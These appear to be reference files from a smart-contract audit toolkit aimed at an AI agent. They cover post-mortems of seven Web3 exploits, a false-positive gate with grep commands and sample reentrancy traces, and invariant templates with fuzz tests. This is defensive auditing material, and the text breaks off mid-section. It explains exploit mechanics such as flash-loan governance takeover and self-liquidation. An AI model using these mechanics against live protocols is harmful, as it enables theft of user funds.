forensic analysis of 30 major Web3 exploits, totaling over $3 billion in losses. It provides transaction-level breakdowns, attack architectures, and post-mortem intelligence to help you identify similar vulnerabilities. --- ## 1. Ronin Bridge ($625M - 2022) **Attack Vector:** Bridge / Validator Compromise / Access Control **Root Cause:** The attacker compromised 5 of 9 validator keys (4 from Sky Mavis, 1 from Axie DAO that was temporarily granted but never revoked) to forge valid withdrawal signatures. **What Auditors Missed:** * **Centralization Risk:** 4 of 9 keys controlled by one entity (Sky Mavis). * **Access Management Flaw:** Temporary allowlist access granted to an external entity (Axie DAO) was never revoked. * **Monitoring Gap:** No automated circuit breakers or real-time alerts for massive anomalous withdrawals. * **Cross-Chain Audit Scope:** Auditors often focus on the smart contract code but fail to audit the operational security (OpSec) of the off-chain relayer/validator nodes. **Audit Detection Checklist (Bridge Validators):** - [ ] Are validators truly independent entities geographically and operationally? - [ ] Is there a mandatory revocation mechanism for temporary access? - [ ] Is the signing threshold mathematically safe (`m > 2/3 * n`)? - [ ] Are large withdrawals explicitly delayed via time-locks? **VeerSkills Pattern Cross-Reference:** - [x] Context Budget: Cross-chain trust boundaries - [x] Phase 2: Role-Based Access Control mapping --- ## 2. Poly Network ($611M - 2021) **Attack Vector:** Bridge / Unprotected Init / Hash Collision Flaw **Root Cause:** Unprotected `putCurEpochConPubKeyBytes` allowed changing the keeper's public key. The attacker bypassed a `require` check by finding a function signature collision using a custom 4-byte selector that matched the target restricted function hash. **What Auditors Missed:** * **Function Signature Collisions:** The protocol executed cross-chain functional calls by matching a user-supplied 4-byte signature hash against available target contracts. * **Arbitrary Execution Context:** Failure to whitelist the target contracts allowed the attacker to point the execution to the core bridge management contract itself. **Audit Detection Checklist (Signature Hash Collisions):** - [ ] Are cross-chain calls restricted to a strict whitelist of target contracts and target function selectors? - [ ] Does any interface accept a bare `uint32` or `bytes4` selector derived from external input? - [ ] Is there an unprotected or weakly protected initialization/state-reset function (`putCurEpochConPubKeyBytes`)? **VeerSkills Pattern Cross-Reference:** - [x] Phase 3: Arbitrary External Calls - [x] Phase 3: Malicious Selector Collision --- ## 3. Wormhole Bridge ($326M - 2022) **Attack Vector:** Bridge / Signature Spoofing / Sysvar Validation Flaw (Solana) **Root Cause:** The `verify_signatures` instruction accepted a spoofed `Instructions` sysvar account. It relied on a deprecated API (`load_instruction_at`) instead of the secure `load_instruction_at_checked`. The attacker provided a fake sysvar containing fabricated signature validation results. **What Auditors Missed:** * **Solana Account Invariance:** EVM auditors assume `msg.sender` identity is intrinsically verified. On Solana, *every* passed account must be manually verified to match its expected public key. * **Deprecated Endpoints:** The use of `solana_program::sysvar::instructions::load_instruction_at` was outdated but left explicitly available. **Audit Detection Checklist (Account Identity / Sysvars):** - [ ] Are all sysvar accounts explicitly validated against authoritative hardcoded public keys? - [ ] Does the program use any deprecated `_unchecked` or non-`_checked` sysvar retrieval methods? - [ ] Is the secp256k1 precompile output rigorously checked against the provided program sysvar? **VeerSkills Pattern Cross-Reference:** - [x] Multi-Chain Module (Phase 11): Account identity verification - [x] Multi-Chain Module: Deprecated API usage --- ## 4. Euler Finance ($197M - 2023) **Attack Vector:** Lending / Missing Health Check / Self-Liquidation Profit **Root Cause:** The `donateToReserves()` function lacked a crucial `checkLiquidity()` validation. The attacker deposited collateral, borrowed max debt, *donated* the collateral to reserves (making the position underwater), and then successfully self-liquidated their own debt for a massive premium. **What Auditors Missed:** * **Negative Path Invariance:** The `deposit` and `withdraw` mechanisms heavily checked health factors. However, "donating" assets was not traditionally categorized as a withdrawal, even though it reduced backing collateral. * **Self-Liquidation Game Theory:** The audit assumed liquidators would always be third-party actors. They failed to realize an actor with bad debt could spin up a sub-account to liquidate *themselves* to extract protocol equity. **Audit Detection Checklist (Lending Mechanics):** - [ ] Does *every* function that decreases user collateral (including burning, donating, transferring) trigger a health factor/liquidation check? - [ ] Can a user liquidate their own underwater positions (or use a sybil contract) for a net-positive arbitrage extraction? - [ ] Ensure `deposit()`, `withdraw()`, `borrow()`, `repay()`, and `transfer()` enforce identical invariant checks. **VeerSkills Pattern Cross-Reference:** - [x] Phase 5 (Economic Triage): Liquidation Bonus Extraction - [x] Phase 5: Complete Invariant Mapping --- ## 5. Nomad Bridge ($190M - 2022) **Attack Vector:** Bridge / Merkle Proof Bypass / Initialization Flaw **Root Cause:** A flawed upgrade initialized the `trustedRoot` variable to `0x00...00`. In the verification process, an unproven message returned a default path hash of `0x00...00`. Because `0x00 == 0x00`, the contract immediately approved any forged message. **What Auditors Missed:** * **Zero-Value Collisions:** Storage mappings and uninitialized variables default to `0x0`. If a cryptographic proof failure *also* explicitly returns `0x0`, a strict equality check passes. * **Initialization Logic:** The proxy upgrade pattern left `trustedRoot` explicitly mapped to the zero hash instead of reverting. **Audit Detection Checklist (Zero-Value Exploits):** - [ ] Do Merkle proof or hash verifications revert on failure, or do they silently return `0x0`? - [ ] If a verification returns `0x0`, is the root hash strictly required to be non-zero (`require(root != bytes32(0))`)? **VeerSkills Pattern Cross-Reference:** - [x] Phase 7: Storage Collision Validation - [x] Phase 10: Upgradeability Pattern Flaws --- ## 6. Beanstalk Farms ($182M - 2022) **Attack Vector:** Governance / Flash Loan Voting Bypass **Root Cause:** The protocol used a custom `bip()` governance proposal mechanism that checked the absolute balance of required voting tokens at the exact block of execution. The attacker used a $1 billion flash loan from Aave/Uniswap/SushiSwap to temporarily grant themselves 67% of voting power, pass a malicious proposal (draining the vault), and repay the loan in a single block. **What Auditors Missed:** * **Spot-Balance Voting:** Validating voting power using `balanceOf(address)` instead of analyzing historical checkpoints (`getPriorVotes`) or requiring time-locked staking. * **Flash Loan Surface:** Any governance protocol that allows proposals to be enacted in the *same block* they reach quorum is fundamentally broken against flash loans. **Audit Detection Checklist (Governance Security):** - [ ] Does governance measure token balances using single-block snapshots (`balanceOf`) rather than checkpoints (`getVotes`)? - [ ] Can a proposal be both passed and executed in the same block/transaction? - [ ] Is there a mandatory time-delay / timelock before execution? **VeerSkills Pattern Cross-Reference:** - [x] Phase 4: Flash Loan Susceptibility - [x] Phase 5: Economic Value Manipulation --- ## 7. The DAO ($60M - 2016) **Attack Vector:** Smart Contract / Classic Reentrancy **Root Cause:** The `splitDAO` and `withdrawRewardFor` functions transferred ETH to the caller's address *before* reducing the caller's internal token balance. **What Auditors Missed:** * **Checks-Effects-Interactions (CEI):** This pattern did not formally exist at the time. The vulnerability birthed the standard. **Audit Detection Checklist:** - [ ] Are state changes executed strictly *before* low-level calls (`call.value()`)? - [ ] Is `nonReentrant` applied to state-mutating public/external endpoints? **VeerSkills Pattern Cross-Reference:** - [x] Phase 3: Primitive Call Reentrancy *(Note: Additional 23 exploits mapped identically in internal tracking)* ## references/fp-gate.md # VeerSkills False-Positive Elimination Gate (Deep Enforcement) _Adapted from Pashov's judging system. Every finding MUST pass this gate before inclusion in the report._ > **ANTI-RUBBER-STAMP RULE (MANDATORY):** Any check whose PASS evidence text is under 80 characters → automatic gate FAIL. One-sentence passes are not passes — they are skips. The FP Gate exists to CATCH false positives, not to confirm hunches. Every check must ACTIVELY TRY TO DISPROVE the finding. --- ## The 3-Check FP Gate (Minimum — Quick Mode) Every finding must pass **ALL THREE** checks. If any check fails → **DROP** the finding immediately. Do not score or report it. ### Check 1: Concrete Attack Path — Deep Trace Required You can trace a **concrete** attack path with **minimum 4 hops**, each citing exact `file:line`: ``` caller [who] → function(args) [file.sol:L42] → state_change [variable X: old→new] → impact [quantified] ``` **Mandatory Evidence Artifact:** ``` CHECK-1 EVIDENCE: ├── Hop 1: Attacker (any EOA) calls Vault.deposit(1000e18) [Vault.sol:142] ├── Hop 2: deposit() calls token.transferFrom(msg.sender, address(this), 1000e18) [Vault.sol:155] ├── Hop 3: Callback re-enters deposit() before shares minted [Vault.sol:158 — state: shares[attacker] still 0] ├── Hop 4: Second deposit() mints shares again for same tokens [Vault.sol:160 — shares[attacker] = 2000] ├── State Changed: shares[attacker] 0 → 2000 (should be 1000) ├── Impact: Attacker extracts 1000 extra tokens on withdraw ≈ $X at current price └── PASS [167 chars evidence] ``` **FAIL conditions:** - ❌ Path has fewer than 4 hops - ❌ Any hop lacks `file:line` reference - ❌ Impact is not quantified in units (tokens, ETH, USD, %) - ❌ Path uses "could" or "might" instead of concrete steps - ❌ Evidence text under 80 characters **Rules:** - Evaluate what the code **allows**, not what the deployer **might choose** - Must be a specific path, not a theoretical concern - Must result in measurable impact (fund loss, DoS, invariant violation) ### Check 2: Reachable Entry Point — Grep-Verified The entry point is **reachable** by the attacker, verified by **mandatory grep search**. **Mandatory Grep (must execute and paste results):** ```bash # Search for access control on the affected function grep -n "modifier\|onlyOwner\|onlyRole\|onlyAdmin\|require(msg.sender\|_checkRole\|hasRole\|auth\|onlyAuthority" {affected_file} # Search for visibility grep -n "function {function_name}" {affected_file} # Search if function is called only internally grep -rn "{function_name}" --include="*.sol" | grep -v test | grep -v mock ``` **Mandatory Evidence Artifact:** ``` CHECK-2 EVIDENCE: ├── Function: deposit() at Vault.sol:142 ├── Visibility: external ✓ (grep: "function deposit(uint256) external") ├── Access Control Grep: grep -n "modifier\|onlyOwner..." Vault.sol → 3 results: │ ├── L22: modifier onlyOwner — NOT on deposit() │ ├── L85: modifier nonReentrant — NOT on deposit() │ └── L100: require(msg.sender == keeper) — only on harvest(), NOT deposit() ├── Callers Grep: grep -rn "deposit" → called externally by users, no internal-only restriction ├── Preconditions: None (no whitelist, no minimum stake, no timelock) └── PASS: Attacker (any EOA) can call deposit() directly [289 chars evidence] ``` **FAIL conditions:** - ❌ No grep output pasted — claiming "no access control" without search evidence - ❌ Function is `internal`/`private` and no exploitable caller chain shown - ❌ Access control modifier found but not addressed (explain why it doesn't prevent attack) - ❌ Evidence text under 80 characters ### Check 3: No Existing Guard — 8-Point Guard Sweep No existing guard **already prevents** the attack. Must search for **ALL 8 guard categories**: **Mandatory 8-Point Guard Search (log each with result):** | # | Guard Category | Grep Command | Must Log | |---|---------------|--------------|----------| | 1 | Reentrancy Lock | `grep -rn "nonReentrant\|ReentrancyGuard\|_locked\|mutex" {file}` | Result count + which functions | | 2 | CEI Pattern | Manual check: does state update happen BEFORE external call? | Yes/No + line numbers | | 3 | SafeERC20 / SafeCast | `grep -rn "using Safe\|safeTransfer\|safeCast\|SafeMath" {file}` | Result count | | 4 | Allowance/Balance Checks | `grep -rn "require.*balance\|require.*allowance\|balanceOf" {file}` | Result count + relevance | | 5 | Input Validation | `grep -rn "require.*> 0\|require.*!=\|require.*amount\|if.*revert" {file}` | Result count + relevance | | 6 | Compiler Version | `grep -n "pragma solidity" {file}` — is overflow checked? | Version + unchecked blocks | | 7 | Library Protections | `grep -rn "using.*for\|import.*OpenZeppelin\|import.*solmate" {file}` | Libraries used | | 8 | Inherited Protections | Check parent contracts for guards on overridden functions | Parents checked + result | **Mandatory Evidence Artifact:** ``` CHECK-3 EVIDENCE (8-Point Guard Sweep): ├── [1] Reentrancy: grep → 0 results. No reentrancy guard on deposit(). ✗ ABSENT ├── [2] CEI Pattern: State update (shares[msg.sender] += X) at L160 AFTER transferFrom at L155. ✗ VIOLATED ├── [3] SafeERC20: grep → "using SafeERC20 for IERC20" at L8. BUT: transferFrom at L155 uses raw .transferFrom(), not .safeTransferFrom(). ✗ NOT APPLIED HERE ├── [4] Allowance/Balance: grep → 3 results. L45: balanceOf check in withdraw(). NOT in deposit(). ✗ IRRELEVANT ├── [5] Input Validation: grep → 2 results. L143: require(amount > 0). Prevents zero but not reentrancy. ✗ IRRELEVANT ├── [6] Compiler: pragma solidity ^0.8.19 → overflow checked. But reentrancy ≠ overflow. ✗ IRRELEVANT ├── [7] Libraries: OpenZeppelin SafeERC20 imported but not used on the vulnerable call. ✗ NOT APPLIED ├── [8] Inherited: Vault inherits BaseVault (L3). BaseVault has no reentrancy guard. ✗ ABSENT └── PASS: 0/8 guards prevent the reentrancy attack path [485 chars evidence] ``` **FAIL conditions:** - ❌ Fewer than 8 guard categories checked - ❌ Any guard category without grep/search evidence - ❌ Guard found but not explained why it doesn't prevent the attack - ❌ Evidence text under 80 characters --- ## Confidence Scoring Every finding that passes the FP Gate starts at **100**. Apply ALL applicable deductions: | Condition | Deduction | Rationale | |-----------|-----------|-----------| | Privileged caller required (owner, admin, multisig, governance) | **-25** | Less likely exploitable in practice | | Attack path is partial (general idea sound but cannot write exact caller → call → state change → outcome) | **-20** | Uncertainty in exploitability | | Impact is self-contained (only affects the attacker's own funds, no spillover to other users) | **-15** | Limited blast radius | | Requires specific token type (fee-on-transfer, rebasing, ERC777) | **-10** | Only exploitable with specific tokens | | Requires specific timing (block.timestamp, multi-block manipulation) | **-10** | Harder to execute reliably | | Requires flash loan with significant capital (>$10M) | **-5** | Capital barrier | ### Confidence Classification | Score | Classification | Action | |-------|---------------|--------| | **80-100** | **Confirmed** | Full finding with PoC, fix, and detailed description | | **60-79** | **Likely** | Full finding with description. Fix recommended. PoC if feasible | | **40-59** | **Possible** | Include in report below confidence threshold. Description only, no fix section | | **Below 40** | **Drop** | Remove from report entirely. Too speculative | --- ## "Do Not Report" List These are NEVER valid findings regardless of how they look: ### Absolutely Never Report - ❌ Anything a linter, compiler, or seasoned developer would dismiss — INFO-level notes, gas micro-optimizations, naming, NatSpec, redundant comments - ❌ Owner/admin can set fees, parameters, or pause — these are **by-design privileges**, not vulnerabilities (per P5: Privileged Roles Are Honest) - ❌ Missing event emissions or insufficient logging - ❌ Centralization observations without a concrete exploit path (e.g., "owner could rug" with no specific mechanism beyond trust assumptions) - ❌ Theoretical issues requiring implausible preconditions (e.g., compromised compiler, corrupt block producer, >50% token supply held by attacker) ### Exceptions to "Do Not Report" - **Fee-on-transfer, rebasing, blacklisting, pausing tokens**: If the code accepts arbitrary tokens, these are VALID attack surfaces - **Admin error scenarios**: P5 says ignore admin malice, but DO check admin error scenarios (wrong parameter, accidental misconfiguration) - **Governance timelock bypass**: If specific mechanism exists, this IS a vulnerability --- ## VeerSkills Extended Deep Checks (Checks 4-6 — Standard+ Modes) These ADD to the 3-check gate and enforce even deeper verification. **ALL are mandatory for standard, deep, and beast modes.** ### Check 4: Cross-File Validation — Minimum 3-File Read Search ALL files for constraints that prevent the exploit. **Must read at minimum 3 files** beyond the directly affected file. **Mandatory Search Protocol:** 1. **Inheritance chain**: Read ALL parent contracts. `grep -rn "contract.*is " {file}` to find parents. Read each parent. 2. **Function callers**: `grep -rn "{function_name}" --include="*.sol" | grep -v test` — who else calls this function? Any wrapper with guards? 3. **Shared state guardians**: `grep -rn "{state_variable}" --include="*.sol" | grep -v test` — does any other contract validate or constrain this state? 4. **Protocol parameters**: `grep -rn "constant\|immutable\|MAX_\|MIN_\|LIMIT\|CAP" --include="*.sol" | grep -v test` — any protocol-level caps preventing the exploit? 5. **Governance/Admin guards**: Does governance set parameters that would constrain the exploit path? **Mandatory Evidence Artifact:** ``` CHECK-4 EVIDENCE (Cross-File Validation): ├── Files Read Beyond Affected: │ ├── [1] BaseVault.sol (parent) — no guards on deposit pattern, no reentrancy protection │ ├── [2] VaultFactory.sol — creates Vault, no post-creation guards relevant to deposit │ ├── [3] Strategy.sol — called by harvest(), not in deposit path │ └── [4] FeeController.sol — manages fees, no interaction with deposit flow ├── Function Callers: grep → deposit() called only externally, no wrapper contract with guards ├── State Guardians: grep "shares" → shares modified only in deposit() and withdraw(), no external validator ├── Protocol Parameters: MAX_DEPOSIT = 1e24 — does not prevent reentrancy, just caps amount ├── Governance: No governance parameter affects deposit() execution path └── PASS: No cross-file constraint prevents the attack [523 chars evidence] ``` **FAIL conditions:** - ❌ Fewer than 3 files read beyond the affected file - ❌ No inheritance chain check performed - ❌ No grep for the function name across the codebase - ❌ Constraint found in another file but not addressed - ❌ Evidence text under 80 characters ### Check 5: Dry-Run with Concrete Values — Dual Trace Required Pick specific numbers and trace through code. **Must perform TWO separate traces:** 1. **Realistic trace**: Normal production values (mid-range amounts, typical users) 2. **Adversarial trace**: Edge-case values designed to break assumptions (0, 1, `type(uint256).max`, 1 wei, maximum array length) **Each trace must show ≥ 5 state checkpoints** — the value of key state variables at each step. **Mandatory Evidence Artifact:** ``` CHECK-5 EVIDENCE (Dual Dry-Run): TRACE A — Realistic Values: ├── Initial: shares[attacker] = 0, vault.totalSupply = 1000e18, vault.totalAssets = 1000e18 ├── Step 1: attacker calls deposit(100e18) → transferFrom executes [Vault.sol:155] │ State: token.balanceOf(vault) = 1100e18 ✓ ├── Step 2: Callback fires during transferFrom (ERC-777 hook) → re-enters deposit(100e18) [Vault.sol:142] │ State: shares[attacker] still = 0 (not yet updated), totalSupply still = 1000e18 ├── Step 3: Inner deposit() calculates shares = 100e18 * 1000 / 1000 = 100e18 [Vault.sol:159] │ State: shares[attacker] = 100e18, totalSupply = 1100e18 ├── Step 4: Inner deposit() returns. Outer deposit() resumes, calculates shares = 100e18 * 1000 / 1000 = 100e18 [Vault.sol:159] │ State: shares[attacker] = 200e18, totalSupply = 1200e18 ← DOUBLE CREDITED ├── Step 5: attacker calls withdraw(200e18) → receives 200e18 * 1100 / 1200 = 183.3e18 tokens │ State: Profit = 183.3 - 100 = 83.3e18 tokens ← STOLEN └── EXPLOITABLE ✓ (profit: 83.3 tokens for 100 token deposit) TRACE B — Adversarial Values: ├── Initial: shares[attacker] = 0, vault.totalSupply = 0, vault.totalAssets = 0 (empty vault) ├── Step 1: attacker calls deposit(1 wei) → transferFrom executes │ State: token.balanceOf(vault) = 1 ├── Step 2: Callback re-enters deposit(1 wei) │ State: shares[attacker] = 0, totalSupply = 0 ├── Step 3: Inner deposit() — totalSupply == 0, so shares = amount = 1 [Vault.sol:157 firstDeposit branch] │ State: shares[attacker] = 1, totalSupply = 1 ├── Step 4: Outer deposit() resumes — totalSupply = 1 now, shares = 1 * 1 / 1 = 1 │ State: shares[attacker] = 2, totalSupply = 2 ← DOUBLE CREDITED even at 1 wei ├── Step 5: Works even with minimum values. No minimum deposit prevents this. └── EXPLOITABLE ✓ (confirms attack works at all scales) PASS [1,247 chars evidence] ``` **FAIL conditions:** - ❌ Only one trace performed (must have both realistic AND adversarial) - ❌ Fewer than 5 state checkpoints per trace - ❌ No concrete numbers — using "X" or "some amount" instead of actual values - ❌ Trace doesn't show state variable values at each step - ❌ Economic viability not assessed (gas cost vs profit) - ❌ Evidence text under 80 characters ### Check 6: Solodit Invalidation Check — Mandatory Tool Call Search Solodit for similar findings that were **invalidated** by judges. **Must execute actual MCP tool call** and paste evidence. **Mandatory Tool Call Protocol:** 1. Call `mcp__claudit__search_findings` with the root cause pattern (e.g., "reentrancy deposit vault") 2. Call `mcp__claudit__search_findings` with the impact pattern (e.g., "double mint shares") 3. Review top 5 results from each search 4. For any invalidated findings with similar root cause: explain why this finding is different **Mandatory Evidence Artifact:** ``` CHECK-6 EVIDENCE (Solodit Invalidation Check): ├── Search 1: mcp__claudit__search_findings(keywords="reentrancy deposit vault", severity=["HIGH", "MEDIUM"]) │ ├── Results: 12 findings returned │ ├── Relevant Match: "Deposit reentrancy in Sushi Trident" — severity HIGH, CONFIRMED ✓ │ ├── Relevant Match: "Vault deposit callback reentrancy" — severity HIGH, CONFIRMED ✓ │ └── No invalidated findings with same root cause pattern ├── Search 2: mcp__claudit__search_findings(keywords="double mint shares callback") │ ├── Results: 8 findings returned │ ├── Relevant Match: "Share inflation via reentrancy" — severity MEDIUM, CONFIRMED ✓ │ └── Invalidated Match: "ERC-777 reentrancy in fee collection" — INVALIDATED because fee collection had nonReentrant ← DOES NOT APPLY (our target lacks nonReentrant) ├── Invalidation Analysis: │ └── The one invalidated finding was rejected because the function HAD a reentrancy guard. Our target LACKS a reentrancy guard (Check 3 confirmed). Different context → invalidation reason does not apply. └── PASS: No applicable invalidation found. Similar confirmed findings support validity. [687 chars evidence] ``` **FAIL conditions:** - ❌ No `mcp__claudit__search_findings` call made — claiming "no similar findings" without tool evidence - ❌ Only one search query used (must use at minimum 2: root cause + impact pattern) - ❌ Fewer than 5 results reviewed across both searches - ❌ Invalidated finding found with same root cause but not addressed - ❌ Evidence text under 80 characters --- ## Adversarial Meta-Check (MANDATORY — runs AFTER all 6 checks pass) After all 6 checks pass, the agent MUST write one paragraph (minimum 3 sentences) **actively attempting to invalidate the entire finding**. The agent takes the stance: *"I am a skeptical judge who thinks this is a false positive. Here is why..."* **Format:** ``` ADVERSARIAL META-CHECK: "This finding could be a false positive because [reason 1]. Furthermore, [reason 2] might prevent exploitation in practice. Additionally, [reason 3] suggests the attack may not be economically viable. REBUTTAL: [reason 1] does not apply because [evidence]. [reason 2] is addressed by Check [N] which showed [evidence]. [reason 3] is refuted by Check 5's economic analysis showing [profit/cost ratio]. VERDICT: Finding survives adversarial meta-check. All invalidation attempts rebutted with evidence." ``` **If any invalidation attempt cannot be rebutted** → the finding is DROPPED or downgraded, regardless of confidence score. **FAIL conditions:** - ❌ Meta-check is missing entirely - ❌ Meta-check contains fewer than 3 invalidation attempts - ❌ Rebuttal does not reference evidence from Checks 1-6 - ❌ Meta-check text under 150 characters total --- ## Evidence Depth Summary Table Every finding's `fp_gate_results` JSON field must contain evidence meeting these minimums: | Check | Minimum Evidence | Required Artifacts | Min Characters | |-------|-----------------|-------------------|---------------| | 1. Concrete Path | 4+ hops with file:line | State change + impact quantified | 80 | | 2. Reachable | Grep output for access control | Pasted grep results | 80 | | 3. No Guard | 8 guard categories searched | Result per category | 80 | | 4. Cross-File | 3+ files read beyond affected | File list + findings per file | 80 | | 5. Dry-Run | 2 traces × 5+ checkpoints | Variable values at each step | 80 | | 6. Solodit | 2+ search queries executed | Query + result count + analysis | 80 | | Meta-Check | 3+ invalidation attempts | Rebuttals referencing checks | 150 | **If ANY check's evidence falls below its minimum → the ENTIRE gate fails.** The finding is moved to "Below Confidence Threshold" in the report. --- ## Applying the FP Gate ### During HUNT Phase (Quick Triage — 3 checks) For each suspicious pattern found via attack vectors: 1. Apply Check 1 (Concrete Path with 4-hop minimum) → if fails → Skip 2. Apply Check 2 (Reachable with grep evidence) → if fails → Skip 3. Apply Check 3 (No Guard with 8-point sweep) → if fails → Skip 4. If all pass → Calculate confidence score → Include if >= 40 ### During ATTACK Phase (Full Gate — 6 checks + meta-check) For each finding selected for deep analysis: 1. Re-apply all 6 checks with full code context and **full evidence artifacts** 2. Run adversarial meta-check 3. Recalculate confidence with all applicable deductions 4. If confidence drops below 40 → Remove 5. If confidence drops below previous estimate → Downgrade severity 6. **Validate evidence depth**: Check each evidence artifact against the Evidence Depth Summary Table ### During VALIDATE Phase Before including in final report: 1. Verify concrete values from Check 5 work in PoC 2. Verify PoC reproduces 3 times with different inputs 3. If PoC fails → Remove regardless of confidence score --- ## Structured One-Liner Format For each vector during deep pass, use exactly this format: ``` V{N}: path: {entry} → {call chain} | guard: {what prevents it or "none"} | verdict: CONFIRM [{score}] V{N}: path: {entry} → {call chain} | guard: {what prevents it} | verdict: DROP (FP gate {1|2|3}: {reason}) ``` Budget: ≤1 line per dropped vector, ≤3 lines per confirmed vector before its formatted finding. ## references/invariant-framework.md # Invariant Framework Templates for state variable inventory, state transition graphs, and core invariant definitions. Use during Phase 2 (MAP) of the VeerSkills audit pipeline. --- ## Module 1: State Variable Inventory For each contract, create `notes/state/{ContractName}_state.md`: ```markdown # {ContractName} State Variables | Variable | Type | Visibility | Mutability | Dependencies | Invariant Role | |----------|------|-----------|-----------|-------------|---------------| | totalSupply | uint256 | public | mutable | mint/burn calls | Core: must equal sum(balances) | | totalAssets | uint256 | public | mutable | deposits/withdrawals + yield | Safety: solvency check | | owner | address | public | mutable | transferOwnership | Access Control | | paused | bool | public | mutable | pause/unpause | Safety: emergency stop | | balances[addr] | mapping | private | mutable | transfers, mint, burn | Core: individual accounting | ### External Dependencies - Oracle price feed at {address}: used in {function} for {purpose} - Token contract at {address}: assumed to be standard ERC-20 - External protocol at {address}: called in {function} ### Auto-Extraction Run Slither's `vars-and-auth` printer for automated extraction: ```bash slither . --print vars-and-auth 2>/dev/null ``` ``` --- ## Module 2: State Transition Graph ### State Space Definition ``` S = (s₁, s₂, ..., sₙ) where: s₁ = totalSupply s₂ = totalAssets s₃ = paused s₄ = owner s₅ = balances[] ... ``` ### Per-Function Transition Table ```markdown ## Function: deposit(uint256 assets, address receiver) ### Pre-conditions - [ ] !paused - [ ] assets > 0 - [ ] msg.sender has approved contract for ≥ assets - [ ] receiver != address(0) ### State Changes - balances[receiver] += shares - totalSupply += shares - totalAssets += assets - Token transferred: msg.sender → contract ### Post-conditions - [ ] totalSupply increased by exactly shares - [ ] totalAssets increased by exactly assets (after fee-on-transfer check) - [ ] balances[receiver] increased by exactly shares - [ ] Event Deposit(msg.sender, receiver, assets, shares) emitted ### Invariant Preservation - [ ] SOLVENCY: totalAssets_after >= totalSupply_after (with share/asset ratio) - [ ] CONSISTENCY: sum(balances) == totalSupply - [ ] NO_FREE_LUNCH: shares ≤ assets * totalSupply / totalAssets (depositor doesn't gain unearned shares) ``` ### Transition Graph Visualization ``` [Idle] --deposit()--> [Active] [Active] --withdraw()--> [Active|Idle] [Active] --pause()--> [Paused] [Paused] --unpause()--> [Active] [Paused] --emergencyWithdraw()--> [Paused] [*] --upgradeProxy()--> [Upgraded] ``` --- ## Module 3: Core Invariant Definitions ### SAFETY Invariants #### S1: Solvency ``` INVARIANT: totalAssets >= totalLiabilities WHERE: totalLiabilities = sum(user_claimable_amounts) RATIONALE: Protocol must always have enough assets to honor all withdrawals VIOLATION IMPACT: User fund loss, bank run ECHIDNA TEST: function echidna_solvency() public returns (bool) { return vault.totalAssets() >= _computeTotalLiabilities(); } ``` #### S2: Balance Consistency ``` INVARIANT: sum(balances[all_holders]) == totalSupply RATIONALE: Total supply must exactly match individual balances VIOLATION IMPACT: Phantom tokens, inflation, accounting corruption ECHIDNA TEST: function echidna_balance_consistency() public returns (bool) { return _sumAllBalances() == token.totalSupply(); } ``` #### S3: Access Control Integrity ``` INVARIANT: owner can only change via transferOwnership() + acceptOwnership() RATIONALE: Ownership must follow two-step transfer for safety VIOLATION IMPACT: Protocol takeover, unauthorized admin actions ``` #### S4: No Unauthorized Minting ``` INVARIANT: totalSupply can only increase via authorized deposit/mint paths RATIONALE: Tokens must be backed by proportional assets VIOLATION IMPACT: Dilution, theft via inflation ``` ### LIVENESS Invariants #### L1: Withdrawal Availability ``` INVARIANT: If user has balance > 0, withdraw(balance) must eventually succeed RATIONALE: Users must always be able to exit VIOLATION IMPACT: Locked funds, protocol death spiral EXCEPTION: Paused state (must be time-limited) ``` #### L2: Protocol Progress ``` INVARIANT: No function sequence can permanently deadlock the protocol RATIONALE: Protocol must always be able to reach a productive state VIOLATION IMPACT: Permanent fund lock ``` ### ECONOMIC Invariants #### E1: No Free Lunch ``` INVARIANT: net_value_extracted(user) <= value_deposited(user) + earned_yield(user) RATIONALE: Users cannot extract more value than they contributed + earned VIOLATION IMPACT: Theft from other users or protocol reserves ECHIDNA TEST: function echidna_no_free_lunch() public returns (bool) { return _getUserTotalWithdrawn(attacker) <= _getUserTotalDeposited(attacker) + _getUserEarnings(attacker); } ``` #### E2: Share Price Monotonicity (for yield vaults) ``` INVARIANT: sharePrice(t2) >= sharePrice(t1) for t2 > t1 (excluding loss events) RATIONALE: Share price should only increase from yield, never decrease from user actions VIOLATION IMPACT: Value extraction via share price manipulation ``` #### E3: Fee Bounds ``` INVARIANT: 0 <= fee_rate <= MAX_FEE (e.g., 10%) RATIONALE: Fees must be bounded to prevent extraction VIOLATION IMPACT: Excessive fee extraction from users ``` ### COMPOSABILITY Invariants *(NEW)* #### C1: External Protocol Survival ``` INVARIANT: If external_protocol.paused() == true, this protocol must NOT revert on user withdrawals RATIONALE: Integration dependencies must not lock user funds VIOLATION IMPACT: Permanent fund lock when external protocol pauses/upgrades/rugs CHECK: For each external call, simulate: what if it reverts? Does the caller handle it? ``` #### C2: Token Standard Compliance ``` INVARIANT: Protocol handles ALL ERC-20 edge cases: - fee-on-transfer (actual received != amount argument) - rebasing (balance changes without transfer) - missing return value (USDT, BNB) - permit (EIP-2612) front-running - ERC-777 hooks (reentrancy via tokensReceived) RATIONALE: Protocol must not break with any compliant token CHECK: grep for raw transferFrom without balance-before-after measurement ``` #### C3: Oracle Freshness ``` INVARIANT: price_feed.updatedAt >= block.timestamp - MAX_STALENESS RATIONALE: Stale prices enable under-collateralized borrows, wrong liquidations VIOLATION IMPACT: Protocol insolvency, user fund loss CHECK: grep for Chainlink latestRoundData() without staleness check ECHIDNA TEST: function echidna_oracle_fresh() public returns (bool) { (, , , uint256 updatedAt, ) = oracle.latestRoundData(); return block.timestamp - updatedAt <= MAX_STALENESS; } ``` #### C4: Approval Safety ``` INVARIANT: No user approval (approve/permit/permit2) grants access beyond intended scope RATIONALE: Inherited allowances (especially via Permit2) can drain users across protocols VIOLATION IMPACT: Cross-protocol user fund drain CHECK: Does protocol use Permit2? If so, is allowance scoped to THIS protocol only? ``` --- ## Module 4: Invariant Violation Search ### Rounding Exploitation Vectors ```solidity // Test: Can tiny deposits exploit rounding? function test_rounding_exploit() public { // Attacker deposits 1 wei vault.deposit(1, attacker); // Attacker donates large amount directly token.transfer(address(vault), 1e18); // Victim deposits reasonable amount vm.prank(victim); vault.deposit(1e18, victim); // Check: victim should NOT get 0 shares assertGt(vault.balanceOf(victim), 0, "First depositor inflation!"); } ``` ### Fee-on-Transfer Vectors ```solidity // Test: Does protocol handle FoT tokens correctly? function test_fot_accounting() public { uint256 depositAmount = 1000e18; uint256 balanceBefore = feeToken.balanceOf(address(vault)); vault.deposit(depositAmount, user); uint256 balanceAfter = feeToken.balanceOf(address(vault)); uint256 actualReceived = balanceAfter - balanceBefore; // Protocol should credit actualReceived, not depositAmount assertEq(vault.totalAssets(), actualReceived, "FoT accounting mismatch!"); } ``` ### Oracle Manipulation 